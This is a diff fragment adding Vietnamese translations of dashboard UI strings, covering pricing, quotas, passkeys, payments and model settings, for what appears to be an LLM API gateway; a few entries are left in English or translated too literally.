+    "Per-token": "Theo token",
+    "Per-token (ratio based)": "Mỗi token (dựa trên tỷ lệ)",
+    "Percentage:": "Phần trăm:",
+    "Performance": "Hiệu suất",
+    "Performance Monitor": "Giám sát hiệu suất",
+    "Performance Settings": "Cài đặt hiệu suất",
+    "Periodically check for upstream model changes": "Kiểm tra định kỳ các thay đổi mô hình nguồn",
+    "Periodically send ping frames to keep streaming connections active.": "Định kỳ gửi các khung ping để duy trì các kết nối truyền phát hoạt động.",
+    "Permanently delete your account and all data": "Xóa vĩnh viễn tài khoản của bạn và tất cả dữ liệu",
+    "Permit Passkey registration on non-HTTPS origins (only recommended for development)": "Cho phép đăng ký Passkey trên các nguồn gốc không phải HTTPS (chỉ khuyến nghị cho mục đích phát triển)",
+    "Perplexity": "Sự bối rối",
+    "Persist your data file": "Lưu trữ tệp dữ liệu của bạn",
+    "Personal area": "Khu vực cá nhân",
+    "Personal Center Area": "Khu vực cá nhân",
+    "Personal info settings": "Cài đặt thông tin cá nhân",
+    "Personal Settings": "Cài đặt cá nhân",
+    "Personal settings and profile management.": "Cài đặt cá nhân và quản lý hồ sơ.",
+    "Personal use": "Sử dụng cá nhân",
+    "Personal use mode": "Chế độ sử dụng cá nhân",
+    "Pick a date": "Chọn ngày",
+    "Ping Interval (seconds)": "Thời gian Ping (giây)",
+    "Plan": "Gói",
+    "Plan Name": "Tên gói",
+    "Plan Subtitle": "Phụ đề gói",
+    "Plan Title": "Tiêu đề gói",
+    "Planned maintenance on Friday at 22:00 UTC...": "Bảo trì theo kế hoạch vào thứ Sáu lúc 22:00 UTC...",
+    "Platform": "Nền tảng",
+    "Playground": "Sân chơi",
+    "Playground and chat functions": "Chức năng sân chơi và trò chuyện",
+    "Playground experiments and live conversations.": "Các thí nghiệm Playground và trò chuyện trực tiếp.",
+    "Please agree to the legal terms first": "Vui lòng đồng ý với các điều khoản pháp lý trước",
+    "Please complete the security check to continue.": "Vui lòng hoàn thành kiểm tra bảo mật để tiếp tục.",
+    "Please confirm that you understand the consequences": "Vui lòng xác nhận rằng bạn hiểu hậu quả",
+    "Please enable io.net model deployment service and configure an API key in System Settings.": "Vui lòng bật dịch vụ triển khai mô hình io.net và cấu hình khóa API trong Cài đặt hệ thống.",
+    "Please enable Two-factor Authentication or Passkey before proceeding": "Vui lòng bật Xác thực hai yếu tố hoặc Passkey trước khi tiếp tục",
+    "Please enter a name": "Vui lòng nhập tên",
+    "Please enter a new password": "Vui lòng nhập mật khẩu mới",
+    "Please enter a redemption code": "Vui lòng nhập mã đổi thưởng",
+    "Please enter a valid duration": "Vui lòng nhập thời lượng hợp lệ",
+    "Please enter a valid email address": "Vui lòng nhập địa chỉ email hợp lệ",
+    "Please enter a valid number": "Vui lòng nhập một số hợp lệ",
+    "Please enter a Well-Known URL first": "Vui lòng nhập URL Well-Known trước",
+    "Please enter amount": "Vui lòng nhập số tiền",
+    "Please enter an administrator username": "Vui lòng nhập tên người dùng quản trị viên",
+    "Please enter API key first": "Vui lòng nhập khóa API trước",
+    "Please enter chat client name": "Vui lòng nhập tên ứng dụng chat",
+    "Please enter email and verification code": "Vui lòng nhập email và mã xác thực",
+    "Please enter keys first": "Vui lòng nhập các khóa trước",
+    "Please enter model name": "Vui lòng nhập ID hoặc tên mô hình.",
+    "Please enter plan title": "Vui lòng nhập tên gói",
+    "Please enter the authentication code.": "Vui lòng nhập mã xác thực.",
+    "Please enter the URL": "Vui lòng nhập URL",
+    "Please enter the verification code": "Vui lòng nhập mã xác minh",
+    "Please enter your current password": "Vui lòng nhập mật khẩu hiện tại của bạn",
+    "Please enter your email": "Vui lòng nhập email của bạn",
+    "Please enter your email first": "Vui lòng nhập email trước",
+    "Please enter your verification code": "Vui lòng nhập mã xác thực của bạn",
+    "Please enter your verification code or backup code": "Vui lòng nhập mã xác thực hoặc mã dự phòng của bạn",
+    "Please fix JSON errors before saving": "Vui lòng sửa lỗi JSON trước khi lưu",
+    "Please log in with the appropriate credentials": "Vui lòng đăng nhập bằng thông tin xác thực phù hợp",
+    "Please manually copy and open the authorization link": "Vui lòng tự sao chép và mở liên kết ủy quyền",
+    "Please select a container": "Vui lòng chọn một container",
+    "Please select a payment method": "Vui lòng chọn phương thức thanh toán",
+    "Please select a primary model": "Vui lòng chọn một mô hình chính",
+    "Please select a subscription plan": "Vui lòng chọn gói đăng ký",
+    "Please select at least one channel": "Vui lòng chọn ít nhất một kênh",
+    "Please select at least one model": "Vui lòng chọn ít nhất một mô hình",
+    "Please select items to delete": "Vui lòng chọn các mục để xóa",
+    "Please Select user groups that can access this channel.": "Vui lòng chọn nhóm người dùng có thể truy cập kênh này.",
+    "Please set Ollama API Base URL first": "Vui lòng đặt URL cơ sở API Ollama trước",
+    "Please try again later.": "Vui lòng thử lại sau.",
+    "Please upload key file(s)": "Vui lòng tải lên (các) tệp khóa",
+    "Please wait a moment, human check is initializing...": "Vui lòng đợi một chút, kiểm tra con người đang khởi tạo...",
+    "Policy JSON": "JSON chính sách",
+    "Polling": "Thăm dò",
+    "Polling mode requires Redis and memory cache, otherwise performance will be significantly degraded": "Chế độ thăm dò yêu cầu Redis và bộ nhớ đệm, nếu không hiệu suất sẽ bị suy giảm đáng kể.",
+    "Poor": "Nghèo",
+    "Port": "Cảng",
+    "Port must be a positive integer": "Cổng phải là số nguyên dương",
+    "Post Delta": "Chênh lệch sau",
+    "PostgreSQL detected": "Phát hiện PostgreSQL",
+    "PostgreSQL offers advanced reliability and data integrity for production workloads.": "PostgreSQL cung cấp độ tin cậy cao và tính toàn vẹn dữ liệu cho khối lượng công việc production.",
+    "PostgreSQL offers strong reliability guarantees. Double check your maintenance window and retention policies before going live.": "PostgreSQL cung cấp các đảm bảo độ tin cậy cao. Hãy kiểm tra kỹ lưỡng cửa sổ bảo trì và các chính sách lưu giữ của bạn trước khi vận hành chính thức.",
+    "Powerful API Management Platform": "Nền tảng Quản lý API mạnh mẽ",
+    "Pre-Consume for Free Models": "Dùng trước các mô hình miễn phí",
+    "Pre-consumed": "Khấu trừ trước",
+    "Pre-Consumed Quota": "Hạn mức đã tiêu thụ trước",
+    "Preference saved as {{pref}}, but no active subscription. Wallet will be used automatically.": "Tùy chọn đã lưu là {{pref}}, nhưng không có gói đăng ký đang hoạt động. Ví sẽ được sử dụng tự động.",
+    "Preferences": "Tùy chọn",
+    "Prefill Group Management": "Quản lý Nhóm Điền sẵn",
+    "Prefill Groups": "Điền sẵn các nhóm",
+    "Prefill groups help you keep complex configurations in sync.": "Nhóm điền trước giúp bạn giữ các cấu hình phức tạp đồng bộ.",
+    "Prefix": "Tiền tố",
+    "Prefix Match": "Khớp tiền tố",
+    "Prefix used when displaying prices": "Tiền tố được sử dụng khi hiển thị giá",
+    "Premium chat models": "Mô hình chat cao cấp",
+    "Preparing chat keys…": "Đang chuẩn bị khóa trò chuyện…",
+    "Preparing your chat link, please try again in a moment.": "Đang chuẩn bị liên kết trò chuyện của bạn, vui lòng thử lại trong giây lát.",
+    "Preparing your chat link…": "Đang chuẩn bị liên kết trò chuyện của bạn…",
+    "Prepend": "Thêm vào đầu",
+    "Preset recharge amounts (JSON array)": "Số tiền nạp đặt trước (mảng JSON)",
+    "Preset recharge amounts displayed to users": "Các mức nạp tiền đặt trước hiển thị cho người dùng",
+    "Preset Template": "Mẫu cài sẵn",
+    "Preset templates": "Mẫu sẵn",
+    "Press Enter or comma to add tags": "Nhấn Enter hoặc dấu phẩy để thêm thẻ",
+    "Press Enter to use \"{{value}}\"": "Nhấn Enter để dùng \"{{value}}\"",
+    "Prevent server-side request forgery attacks": "Ngăn chặn các cuộc tấn công giả mạo yêu cầu phía máy chủ",
+    "Prevent server-side request forgery attacks by controlling outbound requests.": "Ngăn chặn các cuộc tấn công giả mạo yêu cầu phía máy chủ bằng cách kiểm soát các yêu cầu gửi đi.",
+    "Preview": "Xem trước",
+    "Previous": "Trước",
+    "Previous branch": "Nhánh trước",
+    "Previous page": "Trang trước",
+    "Price": "Giá",
+    "Price ($/1K calls)": "Giá ($/1K lượt gọi)",
+    "Price (local currency / USD)": "Giá (tiền tệ địa phương / USD)",
+    "Price display": "Hiển thị giá",
+    "Price display mode": "Chế độ hiển thị giá",
+    "Price estimation": "Ước tính chi phí",
+    "Price estimation description": "Sau khi hoàn thành loại phần cứng, vị trí triển khai, số lượng bản sao, v.v., giá sẽ được tính toán tự động.",
+    "Price ID": "Mã giá",
+    "Price mode (USD per 1M tokens)": "Chế độ giá (USD mỗi 1 triệu token)",
+    "price_xxx": "price_xxx",
+    "Price:": "Giá:",
+    "Price: High to Low": "Giá: Từ cao đến thấp",
+    "Price: Low to High": "Giá: Thấp đến Cao",
+    "Prices shown per": "Giá hiển thị theo",
+    "Prices synced successfully": "Đồng bộ giá thành công",
+    "Prices vary by usage tier and request conditions": "Giá thay đổi theo bậc dùng và điều kiện yêu cầu",
+    "Pricing": "Giá cả",
+    "Pricing & Display": "Giá cả & Hiển thị",
+    "Pricing by Group": "Giá theo Nhóm",
+    "Pricing Configuration": "Price configuration",
+    "Pricing mode": "Chế độ định giá",
+    "Pricing Ratios": "Tỷ lệ định giá",
+    "Pricing Type": "Price type",
+    "Primary Model": "Mô hình chính",
+    "Prioritize reusing the last successful channel based on keys extracted from request context (sticky routing)": "Ưu tiên sử dụng lại kênh thành công gần nhất dựa trên các khóa trích xuất từ ngữ cảnh yêu cầu (định tuyến dính)",
+    "Priority": "Ưu tiên",
+    "Priority (Default)": "Ưu tiên (Mặc định)",
+    "Priority level from 0 (lowest) to 10 (highest), default is 5": "Mức độ ưu tiên từ 0 (thấp nhất) đến 10 (cao nhất), mặc định là 5",
+    "Priority order for automatic group assignment. New tokens rotate through this list.": "Thứ tự ưu tiên cho việc gán nhóm tự động. Các token mới sẽ luân phiên qua danh sách này.",
+    "Privacy Policy": "Chính sách quyền riêng tư",
+    "Private Deployment URL": "URL Triển khai Riêng",
+    "Processing OAuth response...": "Đang xử lý phản hồi OAuth...",
+    "Processing...": "Đang xử lý...",
+    "Product": "Sản phẩm",
+    "Product ID": "ID sản phẩm",
+    "Product ID is required": "Bắt buộc nhập Product ID",
+    "Product Name": "Tên sản phẩm",
+    "Products": "Sản phẩm",
+    "Professional team providing 24/7 technical support": "Đội ngũ chuyên nghiệp cung cấp hỗ trợ kỹ thuật 24/7",
+    "Profile": "Hồ sơ",
+    "Profile updated successfully": "Hồ sơ đã được cập nhật thành công",
+    "Progress": "Tiến độ",
+    "Project": "Dự án",
+    "Promote": "Thúc đẩy",
+    "Promotion codes": "Mã khuyến mãi",
+    "Prompt": "Lời nhắc",
+    "Prompt (EN)": "Lời nhắc (EN)",
+    "Prompt cache ratio": "Tỷ lệ bộ nhớ đệm lời nhắc",
+    "Prompt Caching": "Bộ đệm lời nhắc",
+    "Prompt Details": "Chi tiết lời nhắc",
+    "Prompt price ($/1M tokens)": "Giá prompt ($/1 triệu token)",
+    "Protect login and registration with Cloudflare Turnstile": "Bảo vệ đăng nhập và đăng ký bằng Cloudflare Turnstile",
+    "Provide a JSON object where each key maps to an endpoint definition.": "Cung cấp một đối tượng JSON nơi mỗi khóa ánh xạ đến một định nghĩa điểm cuối.",
+    "Provide a valid URL starting with http:// or https://": "Cung cấp URL hợp lệ bắt đầu bằng http:// hoặc https://",
+    "Provide Markdown, HTML, or an external URL for the privacy policy": "Cung cấp Markdown, HTML, hoặc một URL bên ngoài cho chính sách quyền riêng tư",
+    "Provide Markdown, HTML, or an external URL for the user agreement": "Cung cấp Markdown, HTML, hoặc một URL bên ngoài cho thỏa thuận người dùng",
+    "Provide per-category safety overrides as JSON. Use `default` for fallback values.": "Cung cấp các ghi đè an toàn theo từng danh mục dưới dạng JSON. Sử dụng `default` cho các giá trị dự phòng.",
+    "Provide per-model header overrides as JSON. Useful for enabling beta features such as expanded context windows.": "Cung cấp các ghi đè tiêu đề theo từng mô hình dưới dạng JSON. Hữu ích để bật các tính năng beta như cửa sổ ngữ cảnh mở rộng.",
+    "Provider": "Nhà cung cấp",
+    "Provider created successfully": "Đã tạo nhà cung cấp thành công",
+    "Provider deleted successfully": "Đã xóa nhà cung cấp thành công",
+    "Provider Name": "Tên Nhà cung cấp",
+    "Provider type (OpenAI, Anthropic, etc.)": "Loại nhà cung cấp (OpenAI, Anthropic, v.v.)",
+    "Provider updated successfully": "Nhà cung cấp đã được cập nhật thành công",
+    "Proxy Address": "Địa chỉ Proxy",
+    "Publish Date": "Ngày xuất bản",
+    "Published": "Đã xuất bản",
+    "Published:": "Đã xuất bản:",
+    "Pull": "Tải",
+    "Pull model": "Tải mô hình",
+    "Pulling...": "Đang tải...",
+    "Purchase a plan to enjoy model benefits": "Mua gói để tận hưởng quyền lợi mô hình",
+    "Purchase here": "Mua tại đây",
+    "Purchase Limit": "Giới hạn mua",
+    "Purchase limit reached": "Đã đạt giới hạn mua",
+    "Purchase Subscription": "Mua gói đăng ký",
+    "QR Code Image URL": "Đường dẫn URL hình ảnh mã QR",
+    "QR code is not configured. Please contact support.": "Mã QR chưa được cấu hình. Vui lòng liên hệ bộ phận hỗ trợ.",
+    "Quantity": "Số lượng",
+    "QuantumNous": "QuantumNous",
+    "Query Balance": "Truy vấn số dư",
+    "Query Param": "Query param",
+    "Querying...": "Đang truy vấn...",
+    "Question": "Câu hỏi",
+    "Queued": "Trong hàng đợi",
+    "Quick insert common payment methods": "Chèn nhanh các phương thức thanh toán phổ biến",
+    "Quick Range": "Phạm vi nhanh",
+    "Quick Setup from Preset": "Thiết lập nhanh từ cấu hình sẵn",
+    "Quota": "Hạn ngạch",
+    "Quota ({{currency}})": "Hạn mức ({{currency}})",
+    "Quota adjusted successfully": "Điều chỉnh hạn mức thành công",
+    "Quota consumed before charging users": "Hạn mức tiêu thụ trước khi tính phí người dùng",
+    "Quota Distribution": "Phân bổ hạn ngạch",
+    "Quota given to invited users": "Hạn mức được cấp cho người dùng được mời",
+    "Quota given to users who invite others": "Limit for users inviting others",
+    "Quota must be a positive number": "Hạn mức phải là một số dương",
+    "Quota Per Unit": "Định mức mỗi đơn vị",
+    "Quota reminder (tokens)": "Nhắc nhở hạn mức (token)",
+    "Quota Reset": "Đặt lại hạn mức",
+    "Quota Settings": "Cài đặt Hạn mức",
+    "Quota Types": "Các loại hạn ngạch",
+    "Quota Warning Threshold": "Ngưỡng cảnh báo hạn mức",
+    "Quota:": "Hạn ngạch:",
+    "Random": "Ngẫu nhiên",
+    "Randomly select a key from the pool for each request": "Chọn ngẫu nhiên một khóa từ kho cho mỗi yêu cầu",
+    "Rate Limit Windows": "Cửa sổ giới hạn tốc độ",
+    "Rate Limiting": "Rate limit",
+    "Ratio": "Tỷ lệ",
+    "Ratio applied to audio completions for streaming models.": "Tỷ lệ áp dụng cho các phần hoàn tất âm thanh của các mô hình phát trực tuyến.",
+    "Ratio applied to audio inputs where supported by the upstream model.": "Tỷ lệ áp dụng cho đầu vào âm thanh nếu được mô hình thượng nguồn hỗ trợ.",
+    "Ratio applied when creating cache entries for supported models.": "Hệ số nhân được áp dụng khi tạo mục cache cho các mô hình được hỗ trợ.",
+    "Ratio mode": "Chế độ tỷ lệ",
+    "Ratio Type": "Rate type",
+    "Ratio: {{value}}": "Tỷ lệ: {{value}}",
+    "Ratios synced successfully": "Tỷ lệ đã đồng bộ thành công",
+    "Raw JSON": "JSON thô",
+    "Raw Quota": "Hạn mức gốc",
+    "Re-enable on success": "Kích hoạt lại khi thành công",
+    "Re-login": "Đăng nhập lại",
+    "Ready to initialize": "Sẵn sàng khởi tạo",
+    "Ready to simplify": "Sẵn sàng đơn giản hóa",
+    "Real exchange rate between USD and your payment gateway currency": "Tỷ giá hối đoái thực giữa USD và tiền tệ của cổng thanh toán của bạn",
+    "Reason": "Lý do",
+    "Reason:": "Lý do:",
+    "Reasoning": "Lý luận",
+    "Reasoning Effort": "Cường độ suy luận",
+    "Receive Upstream Model Update Notifications": "Nhận thông báo cập nhật mô hình nguồn",
+    "Received": "Đã nhận",
+    "Recharge": "Nạp lại",
+    "Recharge Amount": "Số tiền nạp",
+    "Recharge Amount (USD)": "Số tiền nạp (USD)",
+    "Recommended": "Đề xuất",
+    "Recommended to keep this high to avoid upstream throttling.": "Khuyến nghị giữ mức này cao để tránh điều tiết từ phía thượng nguồn.",
+    "Record IP Address": "Ghi lại địa chỉ IP",
+    "Record quota usage": "Ghi lại mức sử dụng hạn mức",
+    "Redeem": "Đổi",
+    "Redeem codes": "Đổi mã",
+    "Redeemed By": "Được chuộc bởi",
+    "Redeemed:": "Đã đổi:",
+    "redemption code": "mã đổi thưởng",
+    "Redemption Code": "Mã đổi thưởng",
+    "Redemption code deleted successfully": "Mã đổi thưởng đã xóa thành công",
+    "Redemption code disabled successfully": "Mã đổi thưởng đã vô hiệu hóa thành công",
+    "Redemption code enabled successfully": "Mã đổi thưởng đã kích hoạt thành công.",
+    "Redemption code updated successfully": "Mã đổi thưởng đã cập nhật thành công",
+    "Redemption code(s) created successfully": "Mã đổi thưởng đã tạo thành công",
+    "Redemption Codes": "Mã đổi thưởng",
+    "redemption codes.": "Mã đổi thưởng",
+    "Redemption failed": "Đổi thưởng thất bại",
+    "Redemption successful! Added: {{quota}}": "Đổi mã thành công! Đã thêm: {{quota}}",
+    "Redirecting to chat page...": "Đang chuyển hướng đến trang trò chuyện...",
+    "Redirecting to Creem checkout...": "Đang chuyển hướng đến thanh toán Creem...",
+    "Redirecting to GitHub...": "Đang chuyển hướng đến GitHub...",
+    "Redirecting to payment page...": "Đang chuyển hướng đến trang thanh toán...",
+    "Reference Video": "Video tham chiếu",
+    "Referral link:": "Liên kết giới thiệu:",
+    "Referral Program": "Chương trình Giới thiệu",
+    "Refresh": "Làm mới",
+    "Refresh Cache": "Làm mới bộ nhớ đệm",
+    "Refresh credential": "Làm mới thông tin xác thực",
+    "Refresh failed": "Làm mới thất bại",
+    "Refresh interval (minutes)": "Khoảng thời gian làm mới (phút)",
+    "Refresh Stats": "Làm mới thống kê",
+    "Refreshing...": "Đang làm mới...",
+    "Refund": "Hoàn tiền",
+    "Refund Details": "Chi tiết hoàn tiền",
+    "Regenerate": "Tạo lại",
+    "Regenerate Backup Codes": "Tạo lại Mã dự phòng",
+    "Regex Replace": "Thay thế bằng regex",
+    "Register Passkey": "Đăng ký Passkey",
+    "Registration Enabled": "Đăng ký đã bật",
+    "Registry (optional)": "Registry (tùy chọn)",
+    "Registry secret": "Bí mật Registry",
+    "Registry username": "Tên người dùng Registry",
+    "Reject Reason": "Lý do từ chối",
+    "Release details": "Chi tiết phiên bản",
+    "Relying Party Display Name": "Tên Hiển Thị của Bên Tin Cậy",
+    "Relying Party ID": "Định danh Bên phụ thuộc",
+    "Remaining": "Còn lại",
+    "Remaining quota": "Hạn ngạch còn lại",
+    "Remaining Quota ({{currency}})": "Hạn mức còn lại ({{currency}})",
+    "Remaining quota units": "Đơn vị hạn ngạch còn lại",
+    "Remaining:": "Còn lại:",
+    "Remark": "Nhận xét",
+    "Remove": "Xóa",
+    "Remove ${{amount}}": "Xóa ${{amount}}",
+    "Remove all log entries created before the selected timestamp.": "Xóa tất cả các mục nhật ký được tạo trước mốc thời gian đã chọn.",
+    "Remove attachment": "Xóa tệp đính kèm",
+    "Remove condition": "Gỡ điều kiện",
+    "Remove Duplicates": "Xóa trùng lặp",
+    "Remove filter": "Xóa bộ lọc",
+    "Remove functionResponse.id field": "Loại bỏ trường functionResponse.id",
+    "Remove Models": "Xóa mô hình",
+    "Remove Passkey": "Xóa Khóa truy cập",
+    "Remove Passkey?": "Xóa khóa truy cập?",
+    "Remove rule group": "Gỡ nhóm quy tắc",
+    "Remove tier": "Gỡ bậc",
+    "Removed": "Đã xóa",
+    "Removed {{removed}} duplicate key(s). Before: {{before}}, After: {{after}}": "Đã xóa {{removed}} khóa trùng lặp. Trước: {{before}}, Sau: {{after}}",
+    "Removed Models ({{count}})": "Các mô hình đã xóa ({{count}})",
+    "Removes Midjourney flags such as --fast, --relax, and --turbo from user prompts.": "Loại bỏ các cờ Midjourney như --fast, --relax và --turbo khỏi lời nhắc của người dùng.",
+    "Removing Passkey will require you to sign in with your password next time. You can re-register anytime.": "Xóa Khóa truy cập sẽ yêu cầu bạn đăng nhập bằng mật khẩu của mình vào lần tới. Bạn có thể đăng ký lại bất cứ lúc nào.",
+    "Rename": "Đổi tên",
+    "Rename deployment": "Đổi tên deployment",
+    "Rename failed": "Đổi tên thất bại",
+    "Renamed successfully": "Đổi tên thành công",
+    "Repeat the administrator password": "Nhập lại mật khẩu quản trị viên",
+    "Replace": "Thay thế",
+    "Replace all existing keys": "Thay thế tất cả các khóa hiện có",
+    "Replace channel models": "Thay thế mô hình kênh",
+    "Replace mode: Will completely replace all existing keys": "Chế độ Thay thế: Sẽ thay thế hoàn toàn tất cả các khóa hiện có",
+    "replaced": "thay thế",
+    "Replacement Model": "Replacement model",
+    "Replica count": "Số bản sao",
+    "Replicate": "Sao chép",
+    "request": "yêu cầu",
+    "Request": "Yêu cầu",
+    "Request Body Disk Cache": "Bộ nhớ đệm đĩa nội dung yêu cầu",
+    "Request Body Memory Cache": "Bộ nhớ đệm RAM nội dung yêu cầu",
+    "Request body pass-through is enabled. The request body will be sent directly to the upstream without any conversion.": "Chuyển tiếp body yêu cầu đã được bật. Body yêu cầu sẽ được gửi trực tiếp mà không chuyển đổi.",
+    "Request conversion": "Chuyển đổi yêu cầu",
+    "Request Conversion": "Chuyển đổi yêu cầu",
+    "Request Count": "Number of requests",
+    "Request failed": "Yêu cầu thất bại",
+    "Request flow": "Luồng yêu cầu",
+    "Request Header Overrides": "Ghi đè Tiêu đề Yêu cầu",
+    "Request ID": "ID yêu cầu",
+    "Request Limits": "Hạn mức yêu cầu",
+    "Request Model": "Mô hình yêu cầu",
+    "Request Model:": "Mô hình yêu cầu:",
+    "Request rule pricing": "Quy tắc tính giá theo request",
+    "Request timed out, please refresh and restart GitHub login": "Yêu cầu đã hết thời gian chờ, vui lòng làm mới và đăng nhập lại GitHub",
+    "Request-based": "Theo yêu cầu",
+    "Requests per minute": "Yêu cầu mỗi phút",
+    "requests served": "yêu cầu đã phục vụ",
+    "Requests will be forwarded to this worker. Trailing slashes are removed automatically.": "Các yêu cầu sẽ được chuyển tiếp đến worker này. Dấu gạch chéo ở cuối được tự động loại bỏ.",
+    "Requests:": "Yêu cầu:",
+    "Require email verification for new accounts": "Yêu cầu xác minh email cho tài khoản mới",
+    "Require job success before follow-up actions": "Yêu cầu công việc thành công trước các hành động tiếp theo",
+    "Require login to view models": "Yêu cầu đăng nhập để xem các mô hình",
+    "Required": "Bắt buộc",
+    "Required events:": "Sự kiện bắt buộc:",
+    "Required to expose Midjourney-style image generation to end users.": "Cần thiết để cung cấp tính năng tạo hình ảnh kiểu Midjourney cho người dùng cuối.",
+    "Rerank": "Re-rank",
+    "Reroll": "Quay lại",
+    "Resend ({{seconds}}s)": "Gửi lại ({{seconds}}s)",
+    "Reset": "Đặt lại",
+    "Reset 2FA": "Đặt lại 2FA",
+    "Reset all model ratios?": "Đặt lại tất cả tỷ lệ mô hình?",
+    "Reset all settings to default values": "Đặt lại tất cả cài đặt về giá trị mặc định",
+    "Reset at:": "Đặt lại lúc:",
+    "Reset balance and used quota": "Đặt lại số dư và hạn mức đã sử dụng",
+    "Reset Cycle": "Chu kỳ đặt lại",
+    "Reset email sent, please check your inbox": "Email đặt lại đã được gửi, vui lòng kiểm tra hộp thư đến",
+    "Reset failed": "Đặt lại thất bại",
+    "Reset Passkey": "Đặt lại Khóa truy cập",
+    "Reset password": "Đặt lại mật khẩu",
+    "Reset Period": "Chu kỳ đặt lại",
+    "Reset ratios": "Đặt lại tỷ lệ",
+    "Reset Stats": "Đặt lại thống kê",
+    "Reset to default": "Đặt lại mặc định",
+    "Reset to Default": "Đặt lại mặc định",
+    "Reset to default configuration": "Đã đặt lại cấu hình mặc định",
+    "Reset Two-Factor Authentication": "Đặt lại Xác thực hai yếu tố",
+    "Resets in:": "Đặt lại sau:",
+    "Resolve Conflicts": "Giải quyết Xung đột",
+    "Resource Configuration": "Cấu hình tài nguyên",
+    "Response": "Phản hồi",
+    "Response Time": "Thời gian phản hồi",
+    "Responses API Version": "Phiên bản API Phản hồi",
+    "Restore defaults": "Khôi phục mặc định",
+    "Restrict user model request frequency (may impact high concurrency performance)": "Hạn chế tần suất yêu cầu mô hình người dùng (có thể ảnh hưởng đến hiệu suất khi có độ đồng thời cao)",
+    "Retain last N days": "Giữ lại N ngày gần nhất",
+    "Retain last N files": "Giữ lại N tệp gần nhất",
+    "Retry": "Thử lại",
+    "Retry Chain": "Chuỗi thử lại",
+    "Retry Times": "Số lần thử lại",
+    "Return Error": "Trả về lỗi",
+    "Return to dashboard": "Quay lại bảng điều khiển",
+    "Reveal API key": "Hiển thị khóa API",
+    "Reveal key": "Display key",
+    "Revenue": "Doanh thu",
+    "Review & initialize": "Xem lại và khởi tạo",
+    "Review current version and fetch release notes.": "Xem xét phiên bản hiện tại và lấy ghi chú phát hành.",
+    "Review your payment details": "Xem lại chi tiết thanh toán của bạn",
+    "Review your purchase details before proceeding.": "Xem lại chi tiết mua hàng trước khi tiếp tục.",
+    "Rewards will be added directly to your balance": "Phần thưởng sẽ được thêm trực tiếp vào số dư của bạn",
+    "Rewrite callback URLs to the local server": "Viết lại URL callback đến máy chủ cục bộ",
+    "Role": "Vai trò",
+    "Root": "Gốc",
+    "Route": "Tuyến đường",
+    "Route Description": "Mô tả lộ trình",
+    "Route is required": "Đường dẫn là bắt buộc",
+    "Rows per page": "Số hàng trên trang",
+    "RPM": "RPM",
+    "RSA Private Key (Production)": "RSA Private Key (Sản xuất)",
+    "RSA Private Key (Sandbox)": "Khóa riêng RSA (Sandbox)",
+    "Rule": "Quy tắc",
+    "Rule group": "Nhóm quy tắc",
+    "rules": "quy tắc",
+    "Rules JSON": "JSON quy tắc",
+    "Rules JSON must be an array": "JSON quy tắc phải là một mảng",
+    "Run GC": "Chạy GC",
+    "Run tests for the selected models": "Chạy kiểm thử cho các mô hình đã chọn",
+    "Running": "Đang chạy",
+    "s": "s",
+    "Safety Settings": "Cài đặt an toàn",
+    "Same as Local": "Giống như địa phương",
+    "Sandbox mode": "Chế độ sandbox",
+    "Save": "Lưu",
+    "Save all settings": "Lưu tất cả cài đặt",
+    "Save Backup Codes": "Lưu mã dự phòng",
+    "Save changes": "Lưu thay đổi",
+    "Save Changes": "Lưu Thay đổi",
+    "Save chat settings": "Lưu cài đặt trò chuyện",
+    "Save check-in settings": "Lưu cài đặt điểm danh",
+    "Save Creem settings": "Lưu cài đặt Creem",
+    "Save drawing settings": "Lưu cài đặt bản vẽ",
+    "Save Epay settings": "Lưu cài đặt Epay",
+    "Save failed": "Lưu thất bại",
+    "Save failed, please retry": "Lưu thất bại, vui lòng thử lại",
+    "Save general settings": "Lưu cài đặt chung",
+    "Save group ratios": "Lưu tỷ lệ nhóm",
+    "Save io.net settings": "Lưu cài đặt io.net",
+    "Save log settings": "Lưu cài đặt nhật ký",
+    "Save model ratios": "Lưu tỷ lệ mô hình",
+    "Save Models": "Lưu Mô hình",
+    "Save monitoring rules": "Lưu quy tắc giám sát",
+    "Save navigation": "Lưu điều hướng",
+    "Save notice": "Lưu thông báo",
+    "Save rate limits": "Lưu giới hạn tốc độ",
+    "Save sensitive words": "Lưu từ nhạy cảm",
+    "Save Settings": "Lưu Cài đặt",
+    "Save sidebar modules": "Lưu các mô-đun thanh bên",
+    "Save SMTP settings": "Lưu cài đặt SMTP",
+    "Save SSRF settings": "Lưu cài đặt SSRF",
+    "Save Stripe settings": "Lưu cài đặt Stripe",
+    "Save these backup codes in a safe place. Each code can only be used once.": "Lưu các mã dự phòng này ở nơi an toàn. Mỗi mã chỉ được sử dụng một lần.",
+    "Save these codes in a safe place. Each code can only be used once.": "Hãy lưu các mã này ở nơi an toàn. Mỗi mã chỉ có thể được sử dụng một lần.",
+    "Save tool prices": "Lưu giá công cụ",
+    "Save Waffo Pancake settings": "Lưu cài đặt Waffo Pancake",
+    "Save Worker settings": "Lưu cài đặt Worker",
+    "Saved successfully": "Lưu thành công",
+    "Saving...": "Đang lưu...",
+    "Scan QR Code": "Quét mã QR",
+    "Scan the QR code to follow the official account and reply with “验证码” to receive your verification code.": "Quét mã QR để theo dõi tài khoản chính thức, trả lời « 验证码 » để nhận mã xác minh.",
+    "Scan the QR code with WeChat to bind your account": "Quét mã QR bằng WeChat để liên kết tài khoản của bạn",
+    "Scan this QR code with your authenticator app (Google Authenticator, Microsoft Authenticator, etc.)": "Quét mã QR này bằng ứng dụng xác thực của bạn (Google Authenticator, Microsoft Authenticator, v.v.)",
+    "Scheduled channel tests": "Kiểm tra kênh theo lịch trình",
+    "Scope": "Phạm vi",
+    "Scopes": "Phạm vi",
+    "Search": "Tìm kiếm",
+    "Search by name or URL...": "Tìm kiếm theo tên hoặc URL...",
+    "Search by order number...": "Tìm kiếm theo số đơn hàng...",
+    "Search chat presets...": "Tìm kiếm cài đặt sẵn trò chuyện...",
+    "Search colors...": "Tìm kiếm màu sắc...",
+    "Search conflicting models or fields": "Tìm kiếm mô hình hoặc trường xung đột",
+    "Search deployments...": "Tìm kiếm triển khai...",
+    "Search feature in development": "Tính năng tìm kiếm đang được phát triển",
+    "Search group names...": "Tìm kiếm tên nhóm...",
+    "Search groups...": "Searching for group...",
+    "Search missing models": "Tìm kiếm mô hình bị thiếu",
+    "Search model name...": "Tìm kiếm tên mẫu...",
+    "Search models": "Tìm kiếm mô hình",
+    "Search models or fields...": "Tìm kiếm mô hình hoặc trường...",
+    "Search models...": "Mô hình tìm kiếm...",
+    "Search payment methods...": "Tìm kiếm phương thức thanh toán...",
+    "Search payment types...": "Tìm kiếm loại thanh toán...",
